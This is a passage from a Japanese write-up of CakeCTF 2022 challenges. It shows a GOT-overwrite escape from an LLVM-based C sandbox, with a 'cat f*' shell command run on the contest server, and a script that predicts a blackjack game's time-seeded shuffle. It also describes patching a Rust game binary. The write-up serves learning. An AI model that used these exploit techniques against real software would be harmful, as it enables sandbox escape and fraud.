        print("[-] Compilation failed")
        exit(1)

    print("[+] Running...", flush=True)
    os.system("timeout -s KILL --foreground 60 {}".format(elf_path))
    os.unlink(elf_path)

sandbox.cpp は以下の通り。puts, printf, __isoc99_scanf, exit 以外の名前の関数を使うのは絶対に許さないっぽい。

#include "llvm/IR/IRBuilder.h"
#include "llvm/IR/LegacyPassManager.h"

using namespace llvm;

struct Sandbox : public ModulePass {
  static char ID;

  Sandbox() : ModulePass(ID) {}

  bool initialize(Module &M) {
    return true;
  }

  bool runOnModule(Module &M) override {
    for (auto& F: M) {
      runOnFunction(F, M);
    }
    return false;
  }

  bool runOnFunction(Function &F, Module &M) {
    for (auto& BB: F) {
      runOnBasicBlock(BB, M);
    }
    return false;
  }

  bool runOnBasicBlock(BasicBlock &BB, Module &M) {
    for (auto& I: BB) {
      if (auto ci(dyn_cast<CallInst>(&I)); ci) {
        /* Get function name to be called */
        auto func = ci->getCalledFunction();
        if (!func) {
          auto *value = ci->getCalledOperand();
          func = dyn_cast<Function>(value->stripPointerCasts());
        }

        /* Allow these function calls */
        if (func && 
            (func->getName() == "puts"
             || func->getName() == "printf"
             || func->getName() == "__isoc99_scanf"
             || func->getName() == "exit"))
          continue;

        /* Otherwise insert trap */
        std::string str_I;
        raw_string_ostream(str_I) << I;
        IRBuilder<> builder(&I);
        auto msg = builder.CreateGlobalStringPtr(
          "[C-Sandbox] Invalid function call: " + str_I
        );
        auto func_puts = cast<Function>(
          M.getOrInsertFunction("puts",
                                builder.getInt32Ty(),
                                builder.getInt8PtrTy()).getCallee()
        );
        auto func_exit = cast<Function>(
          M.getOrInsertFunction("exit",
                                builder.getVoidTy(),
                                builder.getInt32Ty()).getCallee()
        );
        builder.CreateCall(func_puts, msg);
        builder.CreateCall(func_exit, builder.getInt32(1));
      }
    }

    return false;
  }
};

char Sandbox::ID = 0;
static RegisterPass<Sandbox> X("Sandbox",
                               "Deny dangerous system calls",
                               false,
                               false);

.got.plt を書き換えて、puts を呼び出すと system が呼ばれるようにする。まずは以下のコードを本番と同じ条件でコンパイルし、.got.plt セクションを確認してどのアドレスを書き換えればよいか確認する。

#include <stdlib.h>

int main(void) {
  long long int *x;
  x = 0x12345678;
  *x = system;

  puts("ls -la; cat f*");

  return 0;
}

実行ファイルが実行後に削除されないよう compiler.py を書き換えておき、先程のコードを入力する。

$ python3 compiler.py
Enter your C code (Type 'EOF' to quit input)
#include <stdlib.h>

int main(void) {
  long long int *x;
  x = 0x12345678;
  *x = system;

  puts("ls -la; cat f*");

  return 0;
}
EOF
[+] Generating bitcode...
[+] Instrumenting...
[+] Translating to assembly...
[+] Compiling...
[+] Running /tmp/516c5ec7be921c80dba93a013902f0d3.bin
Segmentation fault
$ gdb -q /tmp/516c5ec7be921c80dba93a013902f0d3.bin
Reading symbols from /tmp/516c5ec7be921c80dba93a013902f0d3.bin...
(No debugging symbols found in /tmp/516c5ec7be921c80dba93a013902f0d3.bin)
(gdb) x/i puts
   0x401030 <puts@plt>: jmpq   *0x2fe2(%rip)        # 0x404018 <puts@got.plt>

得られた情報を使って、先程のコードの 0x123456780x404018 に変えて投げるとフラグが得られた。

$ nc misc.2022.cakectf.com 10099
Enter your C code (Type 'EOF' to quit input)
#include <stdlib.h>

int main(void) {
  long long int *x;
  x = 0x404018;
  *x = system;

  puts("ls -la; cat f*");

  return 0;
}
EOF
[+] Generating bitcode...
[+] Instrumenting...
[+] Translating to assembly...
[+] Compiling...
[+] Running...
total 168
drwxr-xr-x 1 root ctf    4096 Sep  1 14:55 .
drwxr-xr-x 1 root root   4096 Sep  1 14:54 ..
-r-xr-x--- 1 root ctf      43 Sep  1 13:25 .redir.sh
-r-xr-x--- 1 root ctf    1852 Sep  1 13:25 compiler.py
-r--r----- 1 root ctf      42 Sep  1 13:25 flag-0de0e34fe4e95ae2fcb8b185c009ba76.txt
-r-xr-x--- 1 root ctf  150144 Sep  1 13:25 libCSandbox.so
CakeCTF{briI1ng_yoO0ur_oO0wn_gaA4dgeE3t!}
CakeCTF{briI1ng_yoO0ur_oO0wn_gaA4dgeE3t!}

[cheat 196] matsushima3 (22 solves)

Are you a gambler?

添付ファイル: matsushima3_d9f7e86a2224cbdcf78335772d534c42.tar.gz

強制的にオールインさせられるブラックジャック。999999999999999ドルを稼ぐとフラグが得られる。勝利すると所持金が2倍になるから、要は約50回連続で勝つ必要がある。

サーバ側のソースコードを読んでいたところ、カードがゲームの開始時にシャッフルされ、またどうシャッフルされるかは現在時刻とユーザIDによるとわかった。ユーザIDはユーザ登録時に教えてくれるし、現在時刻は int(time.time()) と秒単位での取得になっているから予測がしやすそう。

@app.route('/game/new')
def game_new():
    """Create a new game"""
    if session['state'] == GameState.IN_PROGRESS:
        # Player tried to abort game
        session['state'] = GameState.PLAYER_CHEAT
        abort(400, "Cheat detected")

    # Shuffle cards
    deck = [(i // 13, i % 13) for i in range(4*13)]
    random.seed(int(time.time()) ^ session['user_id'])
    random.shuffle(deck)
    session['deck'] = deck

    # Create initial hand
    session['player_hand'] = []
    session['dealer_hand'] = []
    for i in range(2):
        session['player_hand'].append(session['deck'].pop())
        session['dealer_hand'].append(session['deck'].pop())
    session['player_score'] = calculate_score(session['player_hand'])
    session['dealer_score'] = calculate_score(session['dealer_hand'])

    # Return state
    session['state'] = GameState.IN_PROGRESS
    return jsonify({
        'player_hand': session['player_hand'],
        'player_score': session['player_score'],
        'num_dealer_cards': len(session['dealer_hand'])
    })

1秒ごとにデッキを予測して、勝てそうなときにゲームを開始するようにすればよさそう。以下は作りかけだったけどなんか通ったスクリプト

# coding: utf-8
import copy
import os
import random
import time

import requests

HOST = os.getenv("HOST", "localhost")
PORT = os.getenv("PORT", 10011)
BASE = f'http://{HOST}:{PORT}'

def calculate_score(cards):
    """Calculate current total of cards"""
    num_ace = 0
    score = 0
    for _, c in cards:
        if c == 0: num_ace += 1
        elif c < 10: score += c + 1
        else: score += 10

    while num_ace > 0:
        if 21 - score >= 10 + num_ace: score += 11
        else: score += 1
        num_ace -= 1

    return -1 if score > 21 else score

def guess(user_id):
    deck = [(i // 13, i % 13) for i in range(4*13)]
    random.seed(int(time.time()) ^ user_id)
    random.shuffle(deck)

    player_hand = []
    dealer_hand = []
    for i in range(2):
        player_hand.append(deck.pop())
        dealer_hand.append(deck.pop())

    return deck, player_hand, dealer_hand

def think(user_id):
    deck, p, d = guess(user_id)

    # まずはスタンドする場合から
    deck_tmp = copy.deepcopy(deck)
    d_tmp = copy.deepcopy(d)

    next_card = deck_tmp.pop()
    d_score = calculate_score(d_tmp)
    while d_score <= 16:
        d_tmp.append(next_card)
        d_score = calculate_score(d_tmp)

        if d_score == -1:
            # ディーラーがバースト! スタンドすべき
            return [{'action': 'stand'}]
        next_card = deck_tmp.pop()

    if calculate_score(p) > d_score:
        # プレイヤーの勝ち。スタンドすべき
        return [{'action': 'stand'}]

    # ヒットする場合も
    deck_tmp = copy.deepcopy(deck)
    p_tmp = copy.deepcopy(p)
    d_tmp = copy.deepcopy(d)

    i = 1
    while True:
        p_tmp.append(deck_tmp.pop())

        if calculate_score(p_tmp) == -1:
            # プレイヤーがバースト。ヒットすべきでない
            break

        if calculate_score(d_tmp) <= 16:
            d_tmp.append(deck_tmp.pop())

        d_score = calculate_score(d_tmp)
        if d_score == -1 or calculate_score(p_tmp) > d_score:
            # ディーラーがバースト or プレイヤーの勝ち。ヒットすべき
            print(p_tmp, calculate_score(p_tmp))
            return [{'action': 'hit'} for _ in range(i)]

        i += 1

    # まだその時期ではない

s = requests.Session()
r = s.get(f'{BASE}/user/new')
user_id = r.json()['user_id']

while True:
    res = None
    while res is None:
        res = think(user_id)

    acts = res
    print(acts)
    s.get(f'{BASE}/game/new')

    for act in acts:
        r = s.get(f'{BASE}/game/act', params=act).json()
        print(act, r)

    if r['money'] == 0 or r['flag'] != '':
        break

実行するとフラグが得られた。

$ python3 solve.py
…
[{'action': 'stand'}]
{'action': 'stand'} {'dealer_action': 'stand', 'dealer_hand': [[1, 4], [0, 6], [0, 11]], 'dealer_score': -1, 'flag': '', 'money': 109951162777600, 'num_dealer_cards': 3, 'player_hand': [[1, 6], [1, 2]], 'player_score': 10, 'state': 'win'}        
[{'action': 'stand'}]
{'action': 'stand'} {'dealer_action': 'stand', 'dealer_hand': [[1, 4], [0, 6], [0, 11]], 'dealer_score': -1, 'flag': '', 'money': 219902325555200, 'num_dealer_cards': 3, 'player_hand': [[1, 6], [1, 2]], 'player_score': 10, 'state': 'win'}        
[{'action': 'stand'}]
{'action': 'stand'} {'dealer_action': 'stand', 'dealer_hand': [[1, 4], [0, 6], [0, 11]], 'dealer_score': -1, 'flag': '', 'money': 439804651110400, 'num_dealer_cards': 3, 'player_hand': [[1, 6], [1, 2]], 'player_score': 10, 'state': 'win'}        
[{'action': 'stand'}]
{'action': 'stand'} {'dealer_action': 'stand', 'dealer_hand': [[1, 4], [0, 6], [0, 11]], 'dealer_score': -1, 'flag': '', 'money': 879609302220800, 'num_dealer_cards': 3, 'player_hand': [[1, 6], [1, 2]], 'player_score': 10, 'state': 'win'}        
[{'action': 'stand'}]
{'action': 'stand'} {'dealer_action': 'stand', 'dealer_hand': [[1, 4], [0, 6], [0, 11]], 'dealer_score': -1, 'flag': '"CakeCTF{INFAMOUS_LOGIC_BUG}"', 'money': 1759218604441600, 'num_dealer_cards': 3, 'player_hand': [[1, 6], [1, 2]], 'player_score': 10, 'state': 'flag'}

SECCON2018国内決勝大会の松島、InterKosenCTF 2020のmatsushima2に続く松島問(とは?)だった。

[cheat 289] Cake Memory (9 solves)

Welcome to Cake Memory.
This advanced memory and cognitive recognition test is designed to stimulate several segments of the brain, allowing us to see how quickly and efficiently your brain works.

添付ファイル: cake_memory_ea3efda375fcdbbd010cfa03317cd292.tar.gz

赤、緑、黄みたいな感じで色が読み上げられつつ表示されるので、色と順番を覚えてその通りに下に表示されるボタンを押していくゲーム。最初は4色しかないし、覚える数も少ないから人間にもできるのだけれども、ラウンドを重ねるとどちらも多くなり、人間にはクリアできないようになってくる。

ヒントとして以下のようにソースコードの一部(Rust)が与えられていた。メモリ上に正解の色とその順番が探しやすい形で載っているから探してねということなんだろうけど、競技中には何を間違えていたのか見つけられなかった。@競技中の私 なんで?

// REDUCTED

static SOUNDS: [SoundName; 24] = [
    SoundName::VoiceBlue, SoundName::VoiceRed,
    SoundName::VoiceYellow, SoundName::VoiceGreen,
    SoundName::VoiceViolet, SoundName::VoiceOrange,
    SoundName::VoiceWhite, SoundName::VoiceJ,
    SoundName::VoiceHeart, SoundName::VoiceQuestion,
    SoundName::VoicePi, SoundName::VoiceSmiley,
    SoundName::VoiceOmega, SoundName::VoiceTurquoise,
    SoundName::VoiceTheta, SoundName::VoiceG,
    SoundName::VoiceKitten, SoundName::VoiceTangerine,
    SoundName::VoiceCake, SoundName::VoiceLambda,
    SoundName::VoiceBurgundy, SoundName::VoiceE,
    SoundName::VoiceCoquelicot, SoundName::VoiceFlag
];

// REDUCTED

struct MusicalMemory {
    // REDUCTED
    mem_order: Vec<usize>,
    mem_sound: Vec<SoundName>,
    // REDUCTED
}

// REDUCTED

    fn draw(&mut self, ctx: &mut Context) -> GameResult<()> {
    // REDUCTED
            current = self.sound.get_mut(&self.mem_sound[
                self.mem_order[self.show_count]
            ]);
    // REDUCTED
    }

// REDUCTED

うさみみハリケーンの「実行速度調整」で GetTickCount, Sleep などの関数をまとめて対象としてやると、スピードハックができた。できたが、たとえ実行速度を遅くできたとしても、何十個もの色の順番をメモしてひとつも間違えずに入力する必要があるのは面倒だったから、選択肢となる色の種類や入力する必要のある色の個数を少なくできないかと考えた。

どうやって選択肢と色の個数を減らすか。リバースエンジニアリングだ。フリー版のIDAに投げて眺めていると、CAKE<3 といった文字列を見つけた。これらはラウンド3あたりで増える選択肢だが、sub_403E44 という関数から参照されているようだ。

sub_403E44 はめちゃくちゃ長い関数でとても読み切れる量ではないのだけれども、それでも出てくる数値や文字列などから、描画やタイマーの処理などをまとめた関数であることは読み取れる。たとえばここでは 10000, 15000, 20000 という数値が出てくるが、これらはタイマーの初期化処理っぽい。これをいじると制限時間が伸ばせる(はず)。

このあたりは何ラウンド目かによって選択肢の個数を選んでいそう。全部 mov r15d, 4 に変えると、何ラウンド目になっても選択肢が青、赤、黄、緑の4色のみになった。

このあたりは色の順番を保存する配列に関連していそう。全部 mov qword ptr [rax+28h], 6 みたいな感じの部分を 1 を代入するように変えてやると、ずっと同じ色が表示されるようになった。

これらのパッチを組み合わせて遊んだ様子を録画してみた。修正が甘くて、ラウンド3の最後で(選択肢が4色だけではあるけど)8個色を覚えなければならなかった。

www.youtube.com

CakeCTF{Do_you_have_Chromesthesia?}

ヒントからRust製であることを知って、前回のYoshi-Shogiと違って今回はリバースエンジニアリングせずに解くぞと思っていた。思っていたが、結局めんどくさくなってリバースエンジニアリングで解いた。公開されたソースコードを見たら芸術的だった。

*1:実際ギリシャ生まれの問題だそう

*2:Jeopardyの問題の公開はまだかな…

*3:とりあえず試したらいけたという感じで、後からCVE-2022-21824を知った